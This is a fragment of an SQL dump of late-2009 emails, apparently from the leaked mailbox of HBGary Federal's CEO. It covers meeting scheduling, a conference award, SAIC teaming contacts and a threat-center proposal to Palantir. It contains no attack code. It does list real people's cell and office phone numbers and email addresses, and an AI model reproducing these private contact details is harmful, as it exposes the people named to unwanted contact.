you?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 1, 2009, at 11:45 AM, John\r\nEdwards wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis week is crazy &#8211; some large proposals.&nbsp; How about\r\nnext week.&nbsp; What is your schedule for next week?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron\r\nBarr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, December\r\n01, 2009 8:36 AM\r\nTo:&nbsp;John Edwards\r\nSubject:&nbsp;Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi John,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you want to try and link up\r\nthis week or wait until next week when Greg gets into town?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Nov 25, 2009, at 4:02 PM, Penny\r\nHoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi John,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;d like to introduce you to Aaron Barr, CEO of HBGary\r\nFederal.&nbsp; Aaron just joined HBGary Federal from Northrup Grumman and has a\r\nlot of experience with your old employer.&nbsp; He has his clearance as does\r\nhis President Ted Vera.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs I told you Greg will be out week of December 7th&nbsp;so perhaps we could all meet\r\nthen.&nbsp; Please feel free to communicate prior to that as well\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9381,'aaron_hbgary_com/9381.html'),(569,'2009-12-10','rich@hbgary.com','/aaron@hbgary.com/new/1296999917.M862159P3547Q569.eml','all@hbgary.com','Re: Congratulations on receiving the Best Boardroom Meeting Award at the GTRA Council Meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\nFYI Quick update.  Apparently we won the best live demo not the best boardroom meeting.  ;) just in case you need to know.  Sent from my Verizon Wireless BlackBerryFrom:  \"Rich Cummings\" &lt;rich@hbgary.com&gt;\r\nDate: Thu, 10 Dec 2009 12:11:16 -0500To: &lt;all@hbgary.com&gt;Subject: FW: Congratulations on receiving the Best Boardroom Meeting Award at the GTRA Council Meeting\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nJust wanted to share some very good news from the front\r\nlines.&nbsp; This week HBGary won a very important award at the GTRA conference\r\nwhich was held last Sunday through this Tuesday evening.&nbsp; The GTRA\r\nconference is an elite government conference that includes many CIO&#8217;s and\r\nCISO&#8217;s in the federal government.&nbsp; I attended the conference along\r\nwith Maria and our new Federal salesman Matt O&#8217;Flynn.&nbsp; Some of the attendees\r\nthat we met with:\r\n\r\n&nbsp;\r\n\r\n1.&nbsp; Asst Secretary of Defense OSD/NII &#8211; Chief Information\r\nSecurity Officer for Dept of Defense \r\n\r\n2.&nbsp; US Treasury &#8211; Chief Information Security Officer &nbsp;\r\n\r\n3.&nbsp; Director of Incident Response &#8211; FAA\r\n\r\n4.&nbsp; IRS Deputy Chief Information Security Officer\r\n\r\n5.&nbsp; US Mint &#8211; Chief Information Security Officer \r\n\r\n6.&nbsp; HUD &#8211; Chief Information Security Officer\r\n\r\n7.&nbsp; Treasury SIGTARP Fund &#8211; Chief Information\r\nSecurity Officer\r\n\r\n&nbsp;\r\n\r\nThe tone of the conference was very refreshing.&nbsp; The conference\r\nis mainly an ALL IT conference however the underlying topic of discussion was\r\nthe complete lack of security.&nbsp; All of these folks were candid and openly\r\nadmitting to the conference attendee&#8217;s that the state of information\r\nsecurity is dismal and they all understand that they are currently penetrated\r\nto some degree or another! WOW.&nbsp; This is what we&#8217;ve been saying for\r\nyears&#8230; finally decision makers are starting to get it&#8230;.&nbsp; This\r\nis solid feedback that we&#8217;re working on products, solutions and messaging\r\nthat resonates well with senior executives in the federal government. \r\n\r\n&nbsp;\r\n\r\nWe have follow up meetings with most all of these agencies (and\r\nmore) to discuss &#8220;Enterprise Solutions&#8221; for 2010. \r\n\r\n&nbsp;\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Wednesday, December 09, 2009 5:49 PM\r\nTo: rich@hbgary.com\r\nCc: parhame@gtra.org; kellyy@gtra.org; maria@hbgary.com;\r\nmatt@hbgary.com; Penny Hoglund; phil@hbgary.com; bob@hbgary.com\r\nSubject: Re: Fw: Fwd: Congratulations on receiving the Best Boardroom\r\nMeeting Award at the GTRA Council Meeting\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nWOW, that is awesome.&nbsp; I wish I could have been at the conference, Iheard\r\nso many positive things about it, my team couldn\'t say enough nice\r\nthings.&nbsp; Thanks so much.&nbsp; This means alot \r\n\r\n\r\n\r\nOn Wed, Dec 9, 2009 at 1:42 PM, &lt;rich@hbgary.com&gt; wrote:\r\n\r\nParham and Kelly,\r\n\r\nWow! Just when I thought I couldn\'t like you guys anymore than I do... you go\r\nand do this! That is fantastic! We\'re honored to have won this award especially\r\nat GTRA because the caliber of attendees just doesn\'t get any better. The\r\nfeedback is very appreciated and helpful to us as a company because it re-affirms\r\nthat our products and solutions are resonating with the senior executives in\r\nthe federal government.\r\n\r\nAgain thank you very much for the award and such a great venue. We look forward\r\nto working with you all between now and the next conference.\r\n\r\nBest regards,\r\nRich\r\n\r\nSent from my Verizon Wireless BlackBerry\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Maria Lucas &lt;maria@hbgary.com&gt; \r\n\r\n\r\n\r\n\r\n\r\nDate: Wed, 9 Dec 2009 12:58:20 -0800\r\n\r\n\r\n\r\n\r\n\r\nTo: Matt O\'Flynn&lt;matt@hbgary.com&gt;; Rich Cummings&lt;rich@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nCc: Penny C. Hoglund&lt;penny@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject: Fwd: Congratulations on receiving the Best\r\nBoardroom Meeting Award at the GTRA Council Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nGreat Job!\r\n\r\n\r\n\r\n---------- Forwarded message\r\n----------\r\nFrom: Parham Eftekhari &lt;parhame@gtra.org&gt;\r\nDate: Tue, Dec 8, 2009 at 7:52 PM\r\nSubject: Congratulations on receiving the Best Boardroom Meeting Award at the\r\nGTRA Council Meeting\r\nTo: maria@hbgary.com, penny@hbgary.com\r\nCc: Kelly Yocum &lt;kellyy@gtra.org&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMaria and Penny,\r\n\r\n&nbsp;\r\n\r\nOn behalf of the GTRA Council I want to congratulate\r\nyou on receiving the Best Boardroom Meeting Award at the December 2009\r\nGTRA Council Meeting! Attendees vote for their choice through surveys they\r\nsubmit upon completion of the meeting and the winner is selected based on\r\npopular vote. This year there was a 3-way tie between you, Titus and Fortify!\r\n\r\n&nbsp;\r\n\r\nGTRA and our members are so grateful to have the opportunity\r\nto hear from Industry leaders such as yourself and I personally want to thank\r\nyou for making time in your hectic schedule to share your insights with our\r\ngroup. &nbsp;We would not be where we are today without the support of solution\r\nproviders like yourself and we are honored that you chose to support GTRA and\r\nour Council.\r\n\r\n&nbsp;\r\n\r\nAttached is a copy of the award image which we have\r\nposted on our website and will distribute via our post-event newsletter\r\ntomorrow.&nbsp; Please feel free to use it as you and/or your organization deem\r\nappropriate.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAgain, a big Congratulations and thank you for your\r\ninvolvement. I look forward to working with you again in the near future!\r\n\r\n&nbsp;\r\n\r\nKind Regards,\r\n\r\n&nbsp;\r\n\r\nParham Eftekhari\r\n\r\nCo-Founder &amp; Director of Research\r\n\r\nGovernment Technology Research Alliance (GTRA)\r\n\r\n202.248.5411 Office\r\n\r\n773.517.8534 Mobile\r\n\r\n202.351.0569 Fax\r\n\r\n&nbsp;\r\n\r\n1701 Pennsylvania Ave, NW\r\n\r\nSuite 300\r\n\r\nWashington DC, 20006\r\n\r\nwww.GTRA.org\r\n\r\nwww.GTRACouncilMeeting.org\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nError!\r\nFilename not specified.\r\n\r\n&nbsp;\r\n\r\nClick HERE to join my LinkedIN network\r\n\r\n&nbsp;\r\n\r\nGTRA&#8230; Revolutionizing the way Government &amp;\r\nTechnology Collaborate\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com\r\n|email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3019,'aaron_hbgary_com/3019.html'),(570,'2009-12-10','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1296999918.M283863P3547Q571.eml','\"Barr Aaron\" <aaron@hbgary.com>','ShowAnytime','Check out this application:\r\n\r\nhttp://itunes.apple.com/us/app/showanytime/id334396497?mt=8\r\n\r\n\r\n\r\n',14460,'aaron_hbgary_com/14460.html'),(571,'2009-12-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999918.M497607P3547Q572.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Update','yes.On Dec 10, 2009, at 1:05 PM, Ted Vera wrote:Cool! Want to telecon him today?Begin forwarded message:From: \"Rohlman, William H.\" &lt;WILLIAM.H.ROHLMAN@saic.com&gt;Date: December 10, 2009 10:53:12 AM MSTTo: \"Ted Vera\" &lt;ted@hbgary.com&gt;Subject: RE: UpdateTed – you and/or Aaron may get a call from Dennis Branscome, SAIC.&nbsp; He is very interested in chatting with you – same customer base.&nbsp; Referred by…Stu!&nbsp;703-318-6463703-674-9758&nbsp;dennis.r.branscome@saic.com&nbsp;Job TitleVP/OPERATIONS MANAGER&nbsp;&nbsp;Bill&nbsp;William H. RohlmanDeputy Operations ManagerDoD Space Operation&nbsp;300 N. Sepulveda Blvd.El Segundo, CA 90245&nbsp;(310) 524-3137 (office)(310) 819-6623 (cell)&nbsp;william.rohlman@saic.com&nbsp;&nbsp;From:&nbsp;Rohlman, William H.&nbsp;Sent:&nbsp;Friday, December 04, 2009 7:42 AMTo:&nbsp;Ted VeraSubject:&nbsp;RE: Update&nbsp;Cool!&nbsp; Good hunting…&nbsp;Bill&nbsp;William H. RohlmanDeputy Operations ManagerDoD Space Operation&nbsp;300 N. Sepulveda Blvd.El Segundo, CA 90245&nbsp;(310) 524-3137 (office)(310) 819-6623 (cell)&nbsp;william.rohlman@saic.com&nbsp;&nbsp;From:&nbsp;Ted Vera [mailto:ted@hbgary.com]&nbsp;Sent:&nbsp;Friday, December 04, 2009 7:26 AMTo:&nbsp;Rohlman, William H.Subject:&nbsp;Re: Update&nbsp;Thanks Bill. We\'ve been connected with Amanda Brownfield (contact info below) and executed an NDA yesterday. Hope you have a great weekend!&nbsp;Ted&nbsp;Amanda L. BrownfieldVP/Division ManagerAdvanced Analytics and Cultural ResearchSAIC703-810-8979&nbsp;office703-862-5614&nbsp;BB&nbsp;&nbsp;On Dec 3, 2009, at 5:24 PM, \"Rohlman, William H.\" &lt;WILLIAM.H.ROHLMAN@saic.com&gt; wrote:Ted – I had passed your info to Larry right after you got it to me as possible new hires.&nbsp;&nbsp; Right afterwards, you let me know you had accepted a position with another company.&nbsp; I recommend you/Aaron contact Larry directly to discuss possible teaming between HB Gary and SAIC.&nbsp;Here’s Larry’s information:&nbsp;Job Title BU GENERAL MGRVP Title: BU SR VP &amp; GEN MGRlarry.d.cox@saic.com&nbsp;443-367-7777410-980-7694&nbsp;Over to you!&nbsp;Bill&nbsp;William H. RohlmanDeputy Operations ManagerDoD Space Operation&nbsp;300 N. Sepulveda Blvd.El Segundo, CA 90245&nbsp;(310) 524-3137 (office)(310) 819-6623 (cell)&nbsp;william.rohlman@saic.com&nbsp;&nbsp;From:&nbsp;Ted Vera [mailto:ted@hbgary.com]&nbsp;Sent:&nbsp;Monday, November 30, 2009 7:35 PMTo:&nbsp;Rohlman, William H.Cc:&nbsp;Barr AaronSubject:&nbsp;Re: Update&nbsp;Hi Bill,&nbsp;Any luck? Aaron was hoping to set up a meeting this week, if possible. &nbsp;The proposal timeline is getting close.&nbsp;Thanks again,Ted&nbsp;On Wed, Nov 25, 2009 at 9:31 PM, Rohlman, William H. &lt;WILLIAM.H.ROHLMAN@saic.com&gt; wrote:Congrats, Mr President! I\'ll see what I can find out. BillFrom: Ted Vera &lt;ted@hbgary.com&gt;&nbsp;To: Rohlman, William H.&nbsp;Cc: Barr Aaron &lt;aaron@hbgary.com&gt;&nbsp;Sent: Wed Nov 25 13:07:20 2009Subject: UpdateHi Bill,&nbsp;The job search went much quicker than we expected, thank you very much for your help. &nbsp;Aaron and I joined HBGary, a small business we\'ve teamed with over the years that develops some very unique Information Operations software. &nbsp;We didn\'t hear back from Larry Cox regarding our resumes, but we would still like to schedule a meeting to discuss potential teaming on the Romas recompete. &nbsp;Do you know who is responsible for that capture effort? &nbsp;If possible, we\'d like to set up a face-to-face meeting with Aaron Barr sometime next week in DC.&nbsp;Happy Thanksgiving!Ted&nbsp;&nbsp;--&nbsp;Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623--&nbsp;Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4869,'aaron_hbgary_com/4869.html'),(572,'2009-12-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999918.M703332P3547Q573.eml','\"John Edwards\" <John.Edwards@agilex.com>','Re: Introduction','I am in Mclean. &nbsp;What time? Do you want to meet out this way or more out your way?AaronOn Dec 10, 2009, at 12:57 PM, John Edwards wrote:How about later this afternoon.&nbsp; Where are you guys going to be for most of the day?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 10, 2009 7:54 AMTo:&nbsp;John EdwardsCc:&nbsp;Penny LeavySubject:&nbsp;Re: Introduction&nbsp;Hey John,&nbsp;I hadn\'t heard back yet about possibly a Friday morning. &nbsp;I can do today as well and possibly later Friday afternoon. &nbsp;I have a set of meetings that stacked up on Friday that I really have to get behind me for some upcoming recompete work, the only meeting I could push would be one with Orbital in the later afternoon.&nbsp;What do you think?&nbsp;Aaron&nbsp;On Dec 9, 2009, at 6:16 PM, John Edwards wrote:What about lunch on Friday?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, December 08, 2009 9:01 AMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;Hi John,&nbsp;Sorry for delay, I started last week in a full sprint. &nbsp;Are you still available today or Friday? &nbsp;I am meeting Greg and Penny at 930, I think thats it for me for the day but have to double check with Penny. &nbsp;I would definitely still like to get together this week if you available.&nbsp;Aaron&nbsp;&nbsp;On Dec 3, 2009, at 8:48 AM, John Edwards wrote:Aaron,I’m good Tuesday until 1630 and anytime on Friday.&nbsp; Let me know what works for you.&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 03, 2009 7:29 AMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;Gregs in town next week. &nbsp;Do you have something set up with him already or should I set something, or does Greg need to be there?&nbsp;Either way, Tuesday afternoon works, also Friday works. &nbsp;Either of those days good for you?&nbsp;Aaron&nbsp;&nbsp;On Dec 1, 2009, at 11:45 AM, John Edwards wrote:Aaron,This week is crazy – some large proposals.&nbsp; How about next week.&nbsp; What is your schedule for next week?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, December 01, 2009 8:36 AMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;Hi John,&nbsp;Do you want to try and link up this week or wait until next week when Greg gets into town?&nbsp;Aaron&nbsp;&nbsp;On Nov 25, 2009, at 4:02 PM, Penny Hoglund wrote:Hi John,&nbsp;I’d like to introduce you to Aaron Barr, CEO of HBGary Federal.&nbsp; Aaron just joined HBGary Federal from Northrup Grumman and has a lot of experience with your old employer.&nbsp; He has his clearance as does his President Ted Vera.&nbsp;&nbsp;As I told you Greg will be out week of December 7th&nbsp;so perhaps we could all meet then.&nbsp; Please feel free to communicate prior to that as well&nbsp;ThanksPenny&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9554,'aaron_hbgary_com/9554.html'),(573,'2009-12-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999918.M80945P3547Q570.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Update','Cool! Want to telecon him today?Begin forwarded message:From: \"Rohlman, William H.\" &lt;WILLIAM.H.ROHLMAN@saic.com&gt;Date: December 10, 2009 10:53:12 AM MSTTo: \"Ted Vera\" &lt;ted@hbgary.com&gt;Subject: RE: UpdateTed – you and/or Aaron may get a call from Dennis Branscome, SAIC.&nbsp; He is very interested in chatting with you – same customer base.&nbsp; Referred by…Stu!&nbsp;703-318-6463703-674-9758&nbsp;dennis.r.branscome@saic.com&nbsp;Job TitleVP/OPERATIONS MANAGER&nbsp;&nbsp;Bill&nbsp;William H. RohlmanDeputy Operations ManagerDoD Space Operation&nbsp;300 N. Sepulveda Blvd.El Segundo, CA 90245&nbsp;(310) 524-3137 (office)(310) 819-6623 (cell)&nbsp;william.rohlman@saic.com&nbsp;&nbsp;From:&nbsp;Rohlman, William H.&nbsp;Sent:&nbsp;Friday, December 04, 2009 7:42 AMTo:&nbsp;Ted VeraSubject:&nbsp;RE: Update&nbsp;Cool!&nbsp; Good hunting…&nbsp;Bill&nbsp;William H. RohlmanDeputy Operations ManagerDoD Space Operation&nbsp;300 N. Sepulveda Blvd.El Segundo, CA 90245&nbsp;(310) 524-3137 (office)(310) 819-6623 (cell)&nbsp;william.rohlman@saic.com&nbsp;&nbsp;From:&nbsp;Ted Vera [mailto:ted@hbgary.com]&nbsp;Sent:&nbsp;Friday, December 04, 2009 7:26 AMTo:&nbsp;Rohlman, William H.Subject:&nbsp;Re: Update&nbsp;Thanks Bill. We\'ve been connected with Amanda Brownfield (contact info below) and executed an NDA yesterday. Hope you have a great weekend!&nbsp;Ted&nbsp;Amanda L. BrownfieldVP/Division ManagerAdvanced Analytics and Cultural ResearchSAIC703-810-8979&nbsp;office703-862-5614&nbsp;BB&nbsp;&nbsp;On Dec 3, 2009, at 5:24 PM, \"Rohlman, William H.\" &lt;WILLIAM.H.ROHLMAN@saic.com&gt; wrote:Ted – I had passed your info to Larry right after you got it to me as possible new hires.&nbsp;&nbsp; Right afterwards, you let me know you had accepted a position with another company.&nbsp; I recommend you/Aaron contact Larry directly to discuss possible teaming between HB Gary and SAIC.&nbsp;Here’s Larry’s information:&nbsp;Job Title BU GENERAL MGRVP Title: BU SR VP &amp; GEN MGRlarry.d.cox@saic.com&nbsp;443-367-7777410-980-7694&nbsp;Over to you!&nbsp;Bill&nbsp;William H. RohlmanDeputy Operations ManagerDoD Space Operation&nbsp;300 N. Sepulveda Blvd.El Segundo, CA 90245&nbsp;(310) 524-3137 (office)(310) 819-6623 (cell)&nbsp;william.rohlman@saic.com&nbsp;&nbsp;From:&nbsp;Ted Vera [mailto:ted@hbgary.com]&nbsp;Sent:&nbsp;Monday, November 30, 2009 7:35 PMTo:&nbsp;Rohlman, William H.Cc:&nbsp;Barr AaronSubject:&nbsp;Re: Update&nbsp;Hi Bill,&nbsp;Any luck? Aaron was hoping to set up a meeting this week, if possible. &nbsp;The proposal timeline is getting close.&nbsp;Thanks again,Ted&nbsp;On Wed, Nov 25, 2009 at 9:31 PM, Rohlman, William H. &lt;WILLIAM.H.ROHLMAN@saic.com&gt; wrote:Congrats, Mr President! I\'ll see what I can find out. BillFrom: Ted Vera &lt;ted@hbgary.com&gt;&nbsp;To: Rohlman, William H.&nbsp;Cc: Barr Aaron &lt;aaron@hbgary.com&gt;&nbsp;Sent: Wed Nov 25 13:07:20 2009Subject: UpdateHi Bill,&nbsp;The job search went much quicker than we expected, thank you very much for your help. &nbsp;Aaron and I joined HBGary, a small business we\'ve teamed with over the years that develops some very unique Information Operations software. &nbsp;We didn\'t hear back from Larry Cox regarding our resumes, but we would still like to schedule a meeting to discuss potential teaming on the Romas recompete. &nbsp;Do you know who is responsible for that capture effort? &nbsp;If possible, we\'d like to set up a face-to-face meeting with Aaron Barr sometime next week in DC.&nbsp;Happy Thanksgiving!Ted&nbsp;&nbsp;--&nbsp;Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623--&nbsp;Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n',1368,'aaron_hbgary_com/1368.html'),(574,'2009-12-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999918.M896764P3547Q574.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: Hi Aaron -','Hey Rich,I went to the class yesterday but then had some pursuit things I had to do today so missed the 2nd day. &nbsp;I would love to make dinner but am not going to be able to, promised kids we would make cookies tonight. &nbsp;If something changes I will let you know. &nbsp;I will also give you a call in a bit so we can chat.AaronOn Dec 10, 2009, at 12:16 PM, Rich Cummings wrote:Hi Aaron,&nbsp;I heard you’re in the class down in DC.&nbsp; Can you do dinner tonight at Morton’s in Reston Town Center at 7:30?&nbsp; &nbsp;I’m arranging a dinner for all HBGary personnel that live here or are here for the training. &nbsp;&nbsp;It should be about 6 of us.&nbsp;I hope to see you there if not then I’m available all day to chat on the phone, just give me a call on my cell (703-999-5012).&nbsp; &nbsp;I’m getting caught up in the office for the rest of the day with paper and work and some software testing.&nbsp;Mortons AddressReston&nbsp;Town&nbsp;Center11956 Market StreetReston, VA 20190Phone: 703-796-0128&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, December 09, 2009 6:17 PMTo:&nbsp;Rich CummingsSubject:&nbsp;Re: Hi Aaron -&nbsp;Hey Rich,&nbsp;How about tomorrow? &nbsp;We can do phone or in person. &nbsp;Where are u and whats your schedule?&nbsp;Aaron&nbsp;&nbsp;On Dec 9, 2009, at 11:09 AM, Rich Cummings wrote:Hi Aaron,&nbsp;I hope this finds you well.&nbsp; I’m sorry we haven’t spoken yet but I’m sure you know by now how fast we’re all moving around here.&nbsp; Do you have any time to get together either on the phone or in person today/tomorrow/Friday?&nbsp; I’ll be in Reston today having lunch until about 2PM and could meet up afterwards.&nbsp;Thanks very much.&nbsp; I look forward to meeting you soon.&nbsp;Best,Rich&nbsp;Rich Cummings | CTO | HBGary, Inc.Office 301-652-8885 x112Cell Phone 703-999-5012Website:&nbsp;&nbsp;www.hbgary.com&nbsp;|email:&nbsp;rich@hbgary.com&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15961,'aaron_hbgary_com/15961.html'),(575,'2009-12-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999919.M303730P3547Q576.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Palantir follow up','Hey Matt,How about next Thurs in the morning sometime, or on Friday?I am working on a presentation for ARSTRAT to build a small threat center that uses HBGary and Palantir products. &nbsp;The basis is:HBGary Feed Processor (we process 5000 pieces of malware a day and classify their threat level).Responder Malware analysis toolsPalantir Threat and Link Analysis tool2 Linguists/Intel Analysts (1 Chinese/1 Russian)2 Threat Analysts2 Malware AnalystsThe investigate/correlate APT and develop threat maps and reports based on intel, open, and cyber sources. &nbsp;ARTRAT would provide this to the rest of the community.A few questions. &nbsp;Why ARTRAT? &nbsp;They are looking to be more relevant cyber wise to the Army. &nbsp;They have money, and they really like the idea.So what do you think?We can get together and talk about this and other pursuits. &nbsp;I agree there is a natural convergence of our technologies. &nbsp;Greg is pretty excited as well.AaronOn Dec 8, 2009, at 3:45 PM, Matthew Steckman wrote:Penny, Aaron,&nbsp;Great meeting with you yesterday.&nbsp; As discussed, if you send me the names and email addresses of the people you want to give access to our DevZone to, we can get them accounts.&nbsp; 